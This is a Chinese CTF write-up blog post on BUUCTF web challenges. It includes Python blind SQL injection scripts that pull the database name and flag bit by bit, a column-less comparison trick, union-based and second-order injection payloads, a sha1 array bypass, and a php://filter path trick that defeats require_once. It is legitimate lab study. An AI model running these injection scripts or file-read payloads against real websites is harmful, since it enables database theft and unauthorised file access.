1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 length Length +handler like LiKe select SeleCT sleep SLEEpdatabase DATABASe delete having or oR as As -~ BENCHMARKlimit LimIt left Leftselect SELECT insert insERT INSERT right # INFORMATION ; ! % + xor <> ( > < ) . ^ =AND ANd BY By CAST COLUMN COlumn COUNT CountCREATE END case '1' ='1 when admin' " length + REVERSE ascii ASSIC ASSic select database left right union UNIon UNION " & && || oorr / // / * ananddGROUP HAVING IF INTO JOIN LEAVE LEFTLEVEL sleepLIKE NAMES NEXTNULL OF ON | infromation_schemauser OR ORDER ORDSCHEMA SELECT SET TABLE THEN UNION UPDATE USER USING VALUE VALUES WHEN WHERE ADD AND prepare set update delete drop insetCAST COLUMN CONCAT GROUP_CONCAT group_concatCREATE DATABASE DATABASESalter DELETE DROP floor rand() information_schema.tables TABLE_SCHEMA %df concat_ws() concatLIMIT ORDON extractvalueorder CAST()by ORDER OUTFILERENAME REPLACESCHEMA SELECT SET updatexmlSHOW SQL TABLE THEN TRUE instr benchmarkformat bin substring ord UPDATE VALUES VARCHAR VERSION WHEN WHERE
主要是过滤了information_schema.tables
这东西,但注意:
sys
这个没过滤,而且经过测试直接打or
没问题,但连起来比如0 or 1=1 #
这种还会被检测到。。
if
,^
,&&
能用,比如:
if(1,1,2)
这里会返回nu1l
,可以在第一个1
上做文章
0^1
返回nu1l
,1&&1
返回nu1l
拿if
来说,爆库可以使用:
1 if (ascii (substr (database (),{},1 ))>{},1 ,2 ).format {i ,j }
即
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requestsimport re url = 'http://687df149-6e4c-4d22-9035-80478f031581.node4.buuoj.cn:81/index.php' flag = '' for i in range (0 , 50 ): time.sleep(0.02 ) for j in range (32 , 127 ): payload = "if(ascii(substr(database(),{},1))={},1,2)" .format (i, j) data = {"id" : payload} res = requests.post(url=url, data=data) if 'Nu1L' in res.text: flag = flag + chr (j) print (flag) break
二分法还不是很熟练。。这个跑的有点慢╮(╯-╰)╭而且会跑出不正确的字符。。这里参考了其它师傅地道二分法脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requestsimport time url='http://51803b08-9d22-46c8-b50e-33d3fe778c2b.node4.buuoj.cn:81/' f='' for i in range (1 ,200 ): time.sleep(0.02 ) min =32 max =127 mid=(min +max )//2 while min <max : time.sleep(0.02 ) payload="1^(ascii(substr((select database()),{},1))>{})^1" .format (str (i),str (mid)) data={ "id" :payload } s=requests.post(url=url,data=data) if "Nu1L" in s.text: min =mid+1 else : max =mid mid=(min +max )//2 f+=chr (mid) print (f)
give_grandpa_pa_pa_pa
FUZZ的时候过滤了information_schema
,所以用sys.schema_table_statistics_with_buffer
代替information_schema.tables
。但最终爆列的时候还是要用到infomation_schema
这东西,所以得考虑其它注入方式,这里用到了无列名注入和ASCII
偏移。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 select (select 'b' ) > (select 'abcdefg' ) #返回1 select (select 'b' ) > (select 'c' ) #返回0 select (SELECT 'bb' ) > (select 'ba' ) #返回1 select (SELECT 1 ,'bb' ) > (select 1 ,'ba' ) #返回1 select (SELECT 1 ,'bb' ) > (select 2 ,'ba' ) #返回0 select (SELECT '1' ) > (select 'a' ) #返回0 select (SELECT 1 ) > (select 'a' ) #返回1 select (SELECT 1 ) = (select '1' ) #返回1 select (SELECT 1 ) > (select '~' ) #返回1 select (SELECT 'flag' ) > (select 'f' ) #返回1
比较的时候,1=’1’,但’1’<’a’,且1>’a’,经测可知,数字>字符。
所以可以用如下方法测试列数:
1 2 3 4 1 ^ ((select 1 ,2 )> (select * from f1ag_1s_h3r3_hhhhh))^ 1 0 ^ (select 1 ,2 )> (select * from f1ag_1s_h3r3_hhhhh))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import requests url='http://8e176081-905d-4063-a906-4eed1f03ed17.node3.buuoj.cn/index.php' payload='0^((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))' flag='' for j in range (200 ): for i in range (32 ,128 ): hexchar=flag+chr (i) py=payload.format (hexchar) datas={'id' :py} re=requests.post(url=url,data=datas) if 'Nu1L' in re.text: flag+=chr (i-1 ) print (flag) break import requestsimport timedef to_hex (s ): res = '' for i in s: res += hex (ord (i)).replace('0x' , '' ) res = '0x' + res return res url = "http://3a960679-ba2d-46e9-8e31-605a16a949a9.node4.buuoj.cn:81/" s = "" last = 'tmp' while (s.strip() != last): for j in range (33 , 127 ): time.sleep(0.1 ) flag = s + chr (j) payload = "1^((1,{0})>(select * from f1ag_1s_h3r3_hhhhh))^1" .format (to_hex(flag)) data = { "id" : payload } r = requests.post(url, data=data) if b"Nu1L" in r.content: last = s.strip() s += chr (j-1 ) print (s.lower()) break
匹配flag的时候,一定会先经过匹配到字符相等的情况,这个时候返回的是0。很明显此时的chr(char)并不是我们想要的,我们在输出1(Nu1L)的时候,匹配的是f的下一个字符g,而我们想要的是f,此时chr(char-1)=’f’,所以这里要用chr(char-1)。
看了wp还有这种方式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requests url = "http://2070e1dc-ce1b-4d1c-ae33-f747d0ae05e8.node3.buuoj.cn/index.php" payload1 = "if((ascii(substr(database()," payload2 = ",1))=" payload3 = "),1,2)" name = "" for i in range (1 ,22 ): for j in range (23 ,123 ): payload = payload1+str (i)+payload2+str (j)+payload3 data = {'id' :payload} s = requests.post (url,data=data).text if ("Nu1L" in s): name += chr (j) print (name) break
参考:
1 2 3 https:// blog.csdn.net/qq_45521281/ article/details/ 106647880 https:// syunaht.com/p/ 1354079185 .html https:// www.shawroot.cc/1186 .html
[b01lers2020]Life on Mars
源码好像没啥信息,抓包看看:
注意这个URL:/query?search=amazonis_planitia&{}&_=1703252641401
在第一个字段加了个'%23
:
有反应,把单引号直接去了:
%23
这个注释符确实起作用了。加了注释符直接把后面全删掉回显也是正常的。后面想着直接oder by 判断列数了,但burp上操作一直给我回显400,他妈的。只能直接在网页操作:
1 /query?search= olympus_mons order by 2
2时回显正常
1 /query?search=olympus_mons union select 123,456
1 /query?search =olympus_mons union select version(),database ()#
数据库:aliens
1 /query?search =amazonis_planitia union select 1 ,group_concat(table_name ) from information_schema.tables where table_schema='aliens'
表一大堆:
1 amazonis_planitia, arabia_terra ,chryse_planitia,hellas_basin,hesperia_planum ,noachis_terra,olympus_mons,tharsis_rise,utopia_basin
后面懒得查了直接找了wp
。。这东西能直接用sqlmap
跑出来而且表不是aliens
而是alien_code
这个库,而且code
这个表不止一个。。所以要这么查:
1 /query?search=amazonis_planitia union select 1,group_concat(id ,code) from alien_code.code
October 2019 Twice SQL Injection 唉,一个简单的二次注入,结果被我想麻烦了浪费好长时间。
先注册了admin
,admin
。info
那里放了个1
。然后注册了admin'#``admin
,登进去发现info
字段有东西:
我注册的admin'#
登录成了admin
用户了,一开始以为是登录的锅:'#
直接把后面的都注释掉了,所以尝试了admin'#
然后输个错误的密码看看能不能登录:
干,登不上去。
后面想了想应该是登录时存在二次注入:把输入的用户名和密码存起来然后取出,admin'#
就变成admin
了。但这里怎么利用是个问题。。
我一开始以为要根据页面回显去一点一点判断,比如:
1 2 3 1 ' and if(ascii(substr(database(),1,1))=99,1,2)#
然后根据登录后的页面中info
的内容是否和用户名1
的内容一样判断:
如果if
这个条件是对的info
字段就会回显和1
同样的内容。但这意味着我对每个payload
都要进行:注册加登录的操作。。
后面看了wp
,🐎的这里直接用UNION
就直接能回显:
1 2 3 4 5 6 7 8 9 / / 爆库:ctftraining1 ' union select database() # //爆表 1' union select group_concat(table_name) from information_schema.tables where table_schema= 'ctftraining' #/ / 爆列1 ' union select group_concat(column_name) from information_schema.columns where table_name=' flag'# //flag 1' union select flag from flag #
[极客大挑战 2020]Roamphp1-Welcome 进去什么也没有,hint
提示换一种请求方式,改成POST:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php error_reporting (0 );if ($_SERVER ['REQUEST_METHOD' ] !== 'POST' ) {header ("HTTP/1.1 405 Method Not Allowed" );exit (); } else { if (!isset ($_POST ['roam1' ]) || !isset ($_POST ['roam2' ])){ show_source (__FILE__ ); } else if ($_POST ['roam1' ] !== $_POST ['roam2' ] && sha1 ($_POST ['roam1' ]) === sha1 ($_POST ['roam2' ])){ phpinfo (); } }
简单hash
强等于绕过:
roam1[]=1&roam2[]=2
[WMCTF2020]Make PHP Great Again 1 2 3 4 5 6 <?php highlight_file (__FILE__ );require_once 'flag.php' ;if (isset ($_GET ['file' ])) { require_once $_GET ['file' ]; }
注意这个require_once
,顺便复习下几个常用的文件包含函数:
include()函数当遇到错误的信息时,会进行报错,但仍然会继续执行下面的代码 include_once()函数与include()函数功能类似,但所包含的信息只执行一次 require()函数当遇到错误的信息时,会进行报错,并且不会再继续执行下面的代码 require_once()函数与require()函数功能类似,但所包含的信息只执行一次
绕过参考https://www.anquanke.com/post/id/213235
大致就是当软链接多到一定程度(路径嵌套够多)后可以实现绕过,比如:
1 2 3 proc/self/ rootproc/self/ rootproc/self/ rootproc/self/ rootproc/self/ rootproc/self/ rootproc/self/ rootproc/self/ rootproc/self/ root/var/ www/html/ xxxx
这种路径
/proc/self/root
这东西其实就是/
,多层嵌套之后还是/
:
所以对于这种路径:
1 2 3 proc/self/ rootproc/self/ rootproc/self/ rootproc/self/ rootproc/self/ rootproc/self/ rootproc/self/ rootproc/self/ rootproc/self/ root/var/ www/html/ xxxx
其实还是/var/www/html/xxxx
尝试读取:
php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
就行。
后面看有的师傅用这种方法:
1 2 3 ?file=php:// filter/convert.base64-encode/ resource=/nice/ ../proc/ self/cwd/ flag.php
/proc/self/cwd/
这东西直接指向了当前的工作目录,就用不着猜/var/www/html/
了。另外nice
这个东西换成啥都行,只要接下来通过..
再跳回到根目录就行。但注意proc/self/cwd
这东西不能改成var/www/html
。因为payload
中一定要存在符号链接:
1 2 这种也行:/nice/ ../proc/ self/root/ var/www/ html/flag.php